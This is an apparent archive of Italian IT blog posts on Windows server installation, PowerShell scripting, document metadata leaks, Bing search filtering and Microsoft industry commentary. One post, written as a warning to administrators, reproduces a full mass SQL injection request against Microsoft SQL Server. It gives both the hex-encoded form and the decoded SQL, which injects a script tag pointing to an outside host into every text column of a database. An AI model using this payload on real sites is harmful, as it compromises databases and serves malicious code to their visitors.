Plug and Play

Un cliente ha acquistato un server nuovo un HP ProLiant ML150 G6 con Windows 2008 R2 per aggiornare il suo vecchio server. Sembrava una passeggiata, visto che Windows 2008 è fuori da tempo e HP, seguendo le orme di Compaq, fornisce un CD (SmartStart o Easy Setup, a seconda dai modelli) per l’installazione guidata.

Povero illuso.

Il CD di Easy Setup 1.0 fornito con il server non supporta Windows 2008 R2 x64 Microsoft OEM, decido quindi di provare a scaricare la versione 2.0 (500 Mb), ma nemmeno quella supporta questa versione di Windows.

Scarico, quindi, i driver del controller (Smart Array B110i), il setup di Windows me li carica correttamente, mi lascia creare una partizione, me la lascia formattare, ma al momento di avviare il setup, il programma dice di non riuscire a trovare alcun disco o alcuna partizione utilizzabile. Notare che è il medesimo programma che ha appena creato e formattato la partizione. C’è qualcosa di molto strano.

Sconsolato, mi rivolgo al supporto HP, da cui apprendo che, dal momento che i dischi e il lettore DVD del server sono gestiti dal medesimo controller, il setup di Windows 2008 si incasina: devo installare da chiavetta USB utilizzando il Windows 7 USB/DVD Download Tool, che, nonostante il nome, va bene anche per Windows 2008. Ringrazio e mi armo di tanta pazienza per seguire la procedura indicata, fortuna che ho con me due chiavette da 4 Gb e il fido portatile.

Scarico l’utility indicata, tento di installarla ma necessita delle Microsoft Image Mastering API v2; scarico anche quelle, le installo, ma hanno bisogno del reboot. E vabbè, riavviamo.

Installo e avvio il Windows 7 usb/dvd download tool ma scopro che l’utility non legge il DVD, ma vuole un’immagine ISO. Creo, quindi, l’immagine ISO del DVD con un programma esterno e la do in pasto all’utility, che la accetta, formatta la chiavetta e copia i file di installazione. Teniamo presente che l’immagine ISO sono 3 Gb, che sono stati prima trasferiti dal lettore DVD e poi ritrasferiti sulla chiavetta USB. Ci vuole un po’ di tempo per fare tutto ciò.

Alla fine della creazione della chiavetta di boot l’utility dice che la copia è terminata, ma non le è possibile aggiornare il boot record della chiavetta perché non trova l’utility BOOTSECT.EXE. Dirlo prima di un’ora di copia dei file no, eh? Maledetti…

A quanto pare, BOOTSECT.EXE può essere facilmente scaricato dal sito Microsoft utilizzando le medesime credenziali con cui si accede all’area di download per scaricare l’ISO di installazione di Windows. Peccato che io non sia in possesso di quelle credenziali perché l’ISO l’ho creato dal DVD, non l’ho scaricato dal loro sito. Ma non è un problema perché ci sono sempre delle fonti alternative.

Una volta ottenuto BOOTSECT.EXE, secondo le istruzioni di Microsoft avrei dovuto copiarlo in una directory particolare e rilanciare la creazione della chiavetta (un’altra ora di non-lavoro). Dopo qualche tentativo ho divinato la command line giusta per creare il boot sector della chiavetta: bootsect.exe /nt60 x:

Fatto ciò, il percorso è oramai in discesa: una volta copiati sulla chiavetta i driver del controller, l’installazione di Windows è andata via come un olio.

Dopotutto, non era così difficile!

Sulle differenze tra i linguaggi di programmazione

Per varie ragioni (che non includono solamente il masochismo) voglio portare una procedurina di monitoraggio che ho scritto in Perl sotto Linux in ambiente Windows.

Volendo usare un linguaggio script nativo in ambiente Windows per evitare di installare programmi di qualsiasi tipo sulla macchina da monitorare, decido di usare la PowerShell.

Prima sorpresa: Microsoft distribuisce un (a suo dire) potente interprete di comandi e di script in cui l’esecuzione degli script è bloccata per default. Vabbè, la cosa si risolve creando (o modificando) la chiave di registro HKEY_Local_Machine\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.Powershell\ExecutionPolicy con valore Unrestricted. Benedetta Microsoft!

Ok, gli script ora sono eseguibili.

Veniamo allo scopo del test: creare uno script che prende una variabile data e la invia ad un server tramite HTTP POST (ovvero simulando la compilazione di un form) e recuperare la risposta del server.

Svolgimento in PERL:
$ua = LWP::UserAgent->new;
$req = (POST "http://pippo", ["campo1" => "valore1", "campo2" => "valore2"]);
$risposta = $ua->request($req);

Svolgimento in PowerShell:
[Reflection.Assembly]::LoadFile(’C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.Web.dll’) | out-null
$postData = ‘campo1=valore1&campo2=valore2′
$buffer = [text.encoding]::ascii.getbytes($postData)
[net.httpWebRequest] $req = [net.webRequest]::create(’http://pippo’)
$req.method = “POST”
$req.ContentType = “application/x-www-form-urlencoded”
$req.ContentLength = $buffer.length
$req.TimeOut = 5000
$reqst = $req.getRequestStream()
$reqst.write($buffer, 0, $buffer.length)
$reqst.flush()
$reqst.close()
[net.httpWebResponse] $res = $req.getResponse()
$resst = $res.getResponseStream()
$sr = new-object IO.StreamReader($resst)
$risposta = $sr.ReadToEnd()

E per fortuna che è una shell power!!!

Quante informazioni state esponendo con un Copia-e-Incolla?

Inutile negare che alcuni programmi di Microsoft, se usati assieme, facilitino la vita di tutti i giorni in ufficio, del resto sono pensati per quello. Ma spesso può capitare che i programmi siano troppo solerti e che non ci si renda conto che quello che viene copiato e, soprattutto, incollato non è solamente il testo formattato che vediamo, ma anche alcune informazioni note con il termine tecnico di metadati e informazioni circa il nostro PC

Un cliente mi ha mandato una mail composta con Outlook Express in cui aveva fatto un copia e incolla di un testo creato con Word. Il sorgente HTML di una mail composta in questo modo può rivelare alcune informazioni che vogliamo restino private o che potrebbero essere utilizzate come elementi di social engineering per portare degli attacchi alla nostra organizzazione.

Di seguito mostro alcuni elementi che potrebbero essere contenuti in una mail inviata con il metodo appena descritto; ovviamente i dati veri sono stati omessi o modificati per proteggere l’innocente. Mi limito qui ad analizzare la parte HTML del messaggio, va da sé che non è l’unica fonte di informazioni che dovrebbero restare riservate, in quanto anche gli header del messaggio  potrebbero contenere informazioni preziose per i malintenzionati.

Subito dopo il tag TITLE c’è un tag BASE con questo contenuto: file:///C:/Documents and Settings/user/Desktop/pippo/Lettera pluto.htm che rivela il percorso completo del documento e dice già molte cose sul PC di chi lo manda. La stessa informazione è ripetuta varie volte all’interno del documento, specialmente se sono presenti delle immagini.

Di seguito due tag META indicano esattamente la versione di Word e del traduttore HTML utilizzati, informazione utili per attacchi mirati contro vulnerabilità specifiche di alcune versioni del software.

La parte più succosa è però il punto in cui sono inseriti i metadati del documento Word, quei dati che molte volte tradiscono la vera origine del documento o il tempo impiegato per redigerlo, ecco il contenuto dei metatadati con valori inventati:

 <o:DocumentProperties>
  <o:Author>Pippo</o:Author>
  <o:LastAuthor>Pluto</o:LastAuthor>
  <o:Revision>9</o:Revision>
  <o:TotalTime>429</o:TotalTime>
  <o:LastPrinted>2005-02-06T15:20:00Z</o:LastPrinted>
  <o:Created>2009-09-01T14:23:00Z</o:Created>
  <o:LastSaved>2009-09-01T16:00:00Z</o:LastSaved>
  <o:Pages>47</o:Pages>
  <o:Words>807</o:Words>
  <o:Characters>4096</o:Characters>
  <o:Company>A.C.M.E. S.p.A.</o:Company>
  <o:Lines>44</o:Lines>
  <o:Paragraphs>42</o:Paragraphs>
  <o:CharactersWithSpaces>6093</o:CharactersWithSpaces>
  <o:Version>9.6936</o:Version>
 </o:DocumentProperties>

Questo post non ha certo la pretesa di essere esaustivo in materia: non in tutte le mail sono presenti questi dati e magari potrebbero esserci altri dati in caso di documenti formattati diversamente o creati con programmi differenti. Un audit periodico sui dati che si spediscono involontariamente a terzi non farebbe male.

Chi guida e chi segue

Lo spunto di questo post deriva da una notizia degna di essere segnalata per vari motivi: Microsoft ha annunciato di aver proposto alla comunità Linux l’inserimento del codice di alcuni device diver per migliorare l’integrazione di Linux con Hyper-V, il sistema di virtualizzazione della casa di Redmond.

L’aspetto che ha suscitato più clamore è, dal mio punto di vista quello meno significativo. Qualche persona di Microsoft sta già collaborando con almeno un progetto open source e qualcuno potrebbe fare outing durante l’ultimo quadrimestre dell’anno, se le mie fonti sono attendibili (vedremo). Anche Apple collabora con il mondo open source: lo scorso anno l’azienda di Cupertino ha fornito alcune patch per Dovecot che si spingevano oltre l’integrazione la mera integrazione con i suoi prodotti. Per altri grandi e piccoli nomi dell’informatica la collaborazione con Linux o altri progetti open source è un comportamento assolutamente normale da molto tempo.

Ciò che, ancora una volta, è da rilevar è che Microsoft non riesce ad anticipare il mercato e a creare delle tendenze, ma conferma la sua politica di inseguitore di tendenze già in atto. Probabilmente è quello la maggior parte (in termini di fatturato) dei clienti chiede a Microsoft perché nessuna BigCorp se la sentirebbe di fare esperimenti su qualcosa che non è il suo core business ed questo potrebbe anche essere una delle ragioni del successo economico della casa di Redmond. Anche questa volta Microsoft arriva buon ultima nel supporto palese al mondo open source, seguendo il percorso della frase attribuita a Gandhi “First they ignore you, then they laugh at you, then they fight you, then you win”.

La vittoria forse è palese con l’azione plateale di proporre del codice per Linux, ma è cominciata quando, nel 1995, Microsoft spingeva il servizio MSN quando andavano verso Internet: le prove sono ancora lì nei vecchi CD di installazione della prima versione di Windows 95.

Che Microsoft non faccia innovazione ma segua dei trend è un fatto incontrovertibile, ma è quello che le chiedono i suoi maggiori clienti, che installano Windows sui server aziendali, ma giocano con Linux e hanno un iPhone in tasca.

Niente sesso: siamo Indiani

Ricerca SEX con impostazioni inglesiHo sperimentato un curioso comportamento di Bing segnalato da Thomas Hawk (via Slashdot). Per l’esperimento ho utilizzato una macchina virtuale Windows XP USA con Internet Explorer 8 con cui non avevo mai visitato Bing.

Per comprendere le modalità del test va segnalato che Bing decide la posizione di un utente in base all’impostazione della lingua del browser (da non confondere con la lingua in cui il browser visualizza i menu e i messaggi).

Ho provato, innanzi tutto, a visitare Bing con le mie impostazioni standard, ovvero inglese del Regno Unito. La ricerca di «SEX» mostra un normale risultato di un motore generalista (prima immagine, clickare per ingrandire).

Ricerca di SEX su Bing con impostazione indiane

Ho quindi impostato il linguaggio in hindi, ho riavviato Explorer, ho rivisitato Bing e ho effettuato la medesima ricerca (seconda immagine, clickare per ingrandire). Anziché i risultati visualizzati nell’esempio precedente è apparsa la scritta «sex खोज कामोत्तेजक सामग्री दिखा सकता है. परिणाम प्राप्त करने के लिए, अपनी खोज शर्तें बदलें.» che, grazie a Google, ho potuto tradurre in «Search can show sex erotic content. To achieve results, change your search terms.» La traduzione automatica italiana lasciava un po’ a desiderare, ecco perché ho riportato quella inglese.

Resta il dubbio del motivo per cui a chi si dichiara Inglese venga consentito di vedere i risultati di una ricerca, mentre a chi si dichiara Indiano questi risultati siano negati. Ironia della sorte, Carmella Bing è stata un’attrice porno, ma questi sono i rischi che si corrono scegliendo nomi brevi e facili da pronunciare per i propri prodotti.

Un’inutile testardaggine

Dell ha appena annunciato che il sovrapprezzo per il downgrade da Vista a XP di un PC sale a 150 dollari, il triplo del costo precedente.

Ci troviamo in questo periodo davanti ad un caso che forse ha come unico precedente l’infausto MS-DOS 4.0: Microsoft rilascia un sistema operativo nuovo, apparentemente migliore, ma il mercato non lo vuole e preferisce stare con il prodotto precedente. La differenza fondamentale tra l’esempio di MS-DOS 4.0 è il volume del mercato e la rapidità con cui si propagano le informazioni.

Bisogna fare un distinguo tra il mercato casalingo e quello business. Il distinguo in questo caso è il volume di soldi che muovono i due mercati. Il mercato casalingo cerca prodotti al ribasso e, una volta acquistato un computer, lo tiene per molto tempo (tralasciamo i fanatici dell’upgrade, che sono una minima parte): non è strano imbattersi in persone che in casa hanno un PC con Windows 2000 o Windows 98. Il mercato aziendale, di contro, muove più soldi ed è quello che spesso detta le regole.

Da un punto di vista di amministrazione dei sistemi, il sistema migliore è quello di cui si conoscono tutti i limiti, le richieste di hardware e gli eventuali bachi, mentre il peggiore è quello i cui comportamenti sono imprevedibili e le richieste hardware sono cospicue. Windows XP si colloca nella prima fascia di prodotto: utenti e amministratori di sistema lo conoscono bene, sanno quello che possono chiedere e quello che devono evitare.

Vista è stato ricevuto con freddezza (è un efumeismo) perché i vantaggi dell’adozione di un nuovo sistema operativo non compensano i problemi legati alle novità. Che senso ha rinominare e cambiare il posto dei menu solo per il gusto di farlo? Che senso ha aprire la configurazione della rete e vedersi comparire una finestra che ci avvisa che qualcuno sta aprendo la configurazione della rete?

Gli utenti sono passati da Windows 2000 a Windows XP perché in XP la gestione del Plug’n'Play era migliorata notavolmente, caratteristica non trascurabile, visto che tutte le periferiche sono Plug’n'Play. Gli utenti hanno percepito un’effettiva miglioria e hanno perdonato la cosiddetta “interfaccia Disney” perché tutte le cose erano allo stesso posto rispetto a Windows 2000, avevano lo stesso nome e si comportavano nello stesso modo, se non meglio.

La vicenda XP/Vista è un monito per chi ritiene che le società dettano le regole e il mercato si debba adeguare: già nel secolo scorso la presunzione di Henry Ford di vendere solamente automobili nere è stata castigata. Tutte le ditte dicono di ascoltare gli utenti, hanno moduli di feedback, svolgono indagini di gradimento e spendono un sacco di soldi per ascoltare i desiderata degli acquirenti.

Sarebbe l’ora che, una volta ascoltate le entità che danno loro i soldi, le società dell’IT comprendessero anche quello che i clienti stanno dicendo.

Attacchi a Microsft SQL Server

Trusted source riporta la notizia di un nuovo attacco a Microsoft SQL Server.

L’attacco sarebbe partito la scorsa settimana e avrebbe già interessato migliaia di siti.

Se spulciate i log del vostro IIS potreste trovare una riga di questo tipo:

GET /?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520
4054207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F522073
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563
747320612C737973636F6C756D6E73206220776865726520612E69643D622E6964
20616E6420612E78747970653D27752720616E642028622E78747970653D393920
6F7220622E78747970653D3335206F7220622E78747970653D323331206F722062
2E78747970653D31363729204F50454E205461626C655F437572736F7220464554
4348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D30292042454749
4E20657865632827757064617465205B272B40542B275D20736574205B272B4043
2B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420
7372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F77
2E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27
206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A
73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C
655F437572736F72%20AS%20CHAR(4000));EXEC(@S);HTTP/1.1

Che altro non è che la codifica esadecimale di questa procedura SQL (senza i link ai siti che ospitano gli script):

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+””>
</title><script src=”http://sdo.1000mg.cn/csrss/w.js”></script>
<!–” where ‘+@C+’ not like ”%”></title>
<script src=”http://sdo.1000mg.cn/csrss/w.js”></script><!–”’)
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

La sequenza SQL è abbastanza offuscata e, comunque, non è presente la parte di JavaScript che completa l’attacco l’URL del JavaScript non è più raggiungibile. Lo scopo dell’attaccante è di inserire nelle pagine visualizzate da un sito ritenuto affidabile del codice HTML che linka pagine di phishing o comunque di dubbia legalità. L’efficacia dell’attacco è aumentata dall’implicita fiducia che molti utenti hanno dei siti compromessi da questo attacco che stanno visitando.

Microsfot SQL Server è utilizzato da molte organizzazioni governative e da siti ritenuti affidabili dagli utenti; pertanto è bene aumentare il livello di attenzione anche quando si visitano certi siti ritenuti affidabili.

Un sistema per sapere senza fatica il tipo di server che state contattando è l’estensione di Firefox Server Spy.

In questo momento l’attacco è ancora in atto e ci sono molti siti compromessi, quindi prestate attenzione.

Meglio presto che tardi

Leggo su Slashdot che Microsoft ha finalmente pubblicato le specifiche dei formati di alcuni file di dati dei suoi applicativi Office pre-2007, Access escluso.

È naturalmente un bel passo in avanti e concordo con gli aspetti positivi che ha indicato Paolo nel suo blog.

Però quanti anni sono trascorsi da quando Microsoft Office ha scalzato WordStar, WordPerfect, Lotus, Harvard Graphics e compagnia ed è diventato uno standard de facto per la comunicazione aziendale? Dieci? Quindici? Più o meno siamo lì.

Ecco, sono quindici anni che quando qualcuno vede il proprio documento Office danneggiato da varie sventure (tra le quali floppy rovinati o trasmissioni incomplete) perde quasi tutto il contenuto del documento. Fino a ieri non c’era modo di sapere con certezza cosa ci fosse dentro quei dannati file, bisognava dare per perso tutto quanto e rassegnarsi.

L’avvento di OpenOffice ha migliorato sensibilmente le cose: non è affatto strano che un documento di Microsoft Office impossibile da aprire con Word o Excel venga tranquillamente aperto da OpenOffice e interpretato come ci si aspetta. Consiglio a tutti coloro che usano Microsoft Office nella propria organizzazione di tenere a portata di mano una copia aggiornata di OpenOffice proprio per aprire eventuali documenti danneggiati.

Grazie, quindi, a Microsoft per aver pubblicato nel 2008 le specifiche che ci sarebbero servite quindici anni fa: quindici anni di imprecazioni dirette a Redmond alla fine sono state ascoltate, forse troppo tardi.

Goodbye Bill!

Leggo sulla BBC che venerdì 27 giugno Bill Gates lascerà il ruolo di executive chairman di Microsoft per diventare non-executive chairman. In poche parole, lavorerà per la società che ha fondato nel 1975 solamente un giorno la settimana e non sarà più la persona che prende le decisioni.

Non sarò io a dire se Bill Gates come uomo o la Microsoft come azienda abbiano fatto il male o il bene dell’informatica: questi sono giudizi che toccherà alla storia emettere.

Ricordo quando ho iniziato a picchiare su queste tastiere: erano i primi anni ‘80 e “informatica” era il sinonimo di “IBM”, la ditta che ha commesso l’incredibile errore di non vedere la potenzialità dei PC che lei stessa aveva creato e per il cui sistema operativo aveva appaltato il lavoro a una piccola azienda in outsurcing.

Microsoft per un certo periodo è stata “il bene” che combatteva contro IBM, “il maligno”. C’è stato poi un cambiamento di prospettiva dopo il quale “informatica” è diventato sinonimo di “Microsoft”, la quale ha iniziato ad essere “il male”, anche se non si capiva bene chi fosse “il bene”.

Cosa succederà in Microsoft? Probabilmente l’azienda si rivolgerà più al mercato business e meno a quello consumer, o probabilmente continuerà a tenere tanti piedi in quante più scarpe le sarà possibile, smantellando ogni due anni quel che aveva appena finito di costruire e vendere come l’assoluta punta di diamante della tecnologia.

Intanto credo che vada reso quantomeno l’onore delle armi a Bill Gates, che lascia la sua carica: fra qualche anno, quando “informatica” sarà il sinonimo di “Google”, potremmo fermarci a ricordare di quando Google era “il bene” e Microsoft “il male”.

Anch’io! Anch’io!

Non so se sia mai esistito un momento in cui Microsoft abbia fatto qualcosa di veramente innovativo nelle interfacce grafiche, qualcosa che veniva dall’interno dell’azienda e non fosse una risposta a prodotti rivali.

Tralasciando i rami secchi dell’evoluzione informatica, presenti in ogni azienda, Windows 2.x era la risposta a GEM della Digital Research. GEM non era solamente un paradigma d’interfaccia uscito dal PARC, ma era anche un modo di concepire le applicazioni e i file dividendo una data fork da una resource fork, due termini molto noti agli smanettoni di MacOS pre-OSX (ricordate ResEdit?).

Windows 2.x e il Windows386 (li ho provati in quel periodo) erano assolutamente inutili, malgrado il fatto che Ballmer si agitasse per dimostrare il contrario.

Nel 1990 Windows 3.0 era un’interfaccia grafica di MS-DOS un pochino meno ruvida, ma chi osava scrivere un Hello World in C per Windows 3 poteva farlo sì in tre righe, ma utilizzando circa duecento punti e virgole. Quando avevo scritto il mio Hello World mi ero accorto che dovevo compilare un file .RES di risorse da linkare con l’eseguibile. Un attimo. Ma questo è MacOS! La diatriba è andata avati qualche anno in tribunale: ancora una volta Microsoft aveva innovato copaiando.

Faccio un fast forward in avanti per non tediare i miei 2,5 lettori e arrivo a oggi: Microsoft annuncia il multi touch. Un paradigma di interfaccia senza dubbio innovativo, mai introdotto da nessun altro produttore, una vera rivoluzione… di Apple. Ancora una volta. Come se non bastasse, il filmato del link mostgra anche un’interfaccia grafica che ricorda in alcuni punti compiz. Nota per Microsoft: compiz è stabile e production grade da oltre un anno, datevi una mossa, o copiate bene.